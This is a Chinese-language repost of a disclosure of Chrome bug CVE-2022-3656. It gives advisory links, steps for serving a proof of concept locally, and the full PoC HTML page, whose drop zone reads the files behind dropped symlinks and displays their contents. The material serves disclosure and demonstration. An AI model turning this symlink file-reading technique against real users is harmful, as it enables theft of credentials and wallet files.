Google Chrome CVE-2022-3656 漏洞
2023-06-13 09:16:45 时间
Imperva Red Team 最近披露了一个名为 CVE-2022-3656 的漏洞,该漏洞影响超过 25 亿 Google Chrome 和基于 Chromium 的浏览器的用户。
此漏洞允许窃取敏感文件,例如加密钱包和云提供商凭据。
漏洞说明:
1. https://bugs.chromium.org/p/chromium/issues/detail?id=1345275#c34
2. https://www.imperva.com/blog/google-chrome-symstealer-vulnerability/
使用说明:
- 下载poc.zip文件并解压
- 导航到“fancy-poc”并提供文件 (python3 -m http.server)
- 打开http://localhost:8000并按照 PoC 说明进行操作
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
* {
box-sizing: border-box;
}
html,
body {
margin: 0;
padding: 0;
overflow: hidden;
text-align: center;
-webkit-font-smoothing: antialiased;
font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
}
.dropzone {
border: 3px dashed #3e3e3e;
display: flex;
justify-content: center;
align-items: center;
font-weight: bold;
height: 80vh;
text-transform: uppercase;
position: fixed;
top: 50%;
left: 50%;
width: 80%;
transform: translate(-50%, -50%);
}
.dropzone input {
top: 0;
left: 0;
opacity: 0;
display: block;
position: fixed;
transform: scale(1000);
}
button {
display: block;
margin-bottom: 10px;
}
</style>
</head>
<body>
<div class="dropzone">
Drop folder with symlinks here
<input onChange="handleFiles(event)" webkitdirectory multiple onClick="handleClick(event)" title=""
type="file" />
</div>
<script>
const dropzone = document.querySelector(".dropzone");
function handleFiles(event) {
document.body.innerHTML = '';
files = Array.from(event.target.files).filter(f => f.size > 0);
for (let file of files) {
let name = file.name;
let label = document.createElement("button");
label.innerText = name;
label.addEventListener('click', async () => {
const reader = new FileReader();
reader.onload = async () => {
alert(reader.result);
}
reader.onerror = console.error;
reader.readAsText(file);
});
document.body.appendChild(label);
}
}
function handleClick(event) {
event.preventDefault();
alert("Drag and drop a folder with symlinks here");
}
document.addEventListener("drop", function (event) {
dropzone.classList.remove("hover");
}, false);
document.addEventListener("dragleave", function (event) {
event.preventDefault();
dropzone.classList.remove("hover");
}, false);
document.addEventListener("dragover", function (event) {
event.preventDefault();
dropzone.classList.add("hover");
}, false);
</script>
</body>
</html>
相关文章
- win系统找回Google Chrome浏览器里的书签
- 直接下载google play应用-APK Downloader
- Google Cloud免费使用一年以及无限续费的教程说明
- 使用 Google Breakpad 来助力解决程序崩溃
- 使用 Google Analytics 跟踪横幅广告
- Google Gmail更新广告暗藏《怪奇物语4》精彩剧透
- Google Chrome 89也降低了Win10的内存使用量
- [下载] Google Chrome v87正式版发布 带来多项新功能及重大性能改进
- Google Chrome 在浏览器市场表现优异 继续拉开对手
- Google Chrome开始加入HTTP/3和IETF QUIC支持
- Google Chrome/Chromium 将不支持旧版本的Linux内核
- Ubuntu下的Juju现在支持systemd和Google Cloud Platform了
- Google DeepMind 围棋挑战赛详情公布
- 每日安全资讯:Google Chrome将不再允许网站劫持后退按钮
- 数据显示没有什么浏览器能够阻止 Google Chrome 称王
- Google Chrome正设法将短信验证码从手机自动读取到PC上
- MySQL在Chrome中的应用(chrome mysql)
- Google浏览器Chrome最新升级支持VR浏览,手机上就能看
- Google Maps美国地区可发现和使用Spin的电动自行车/滑板车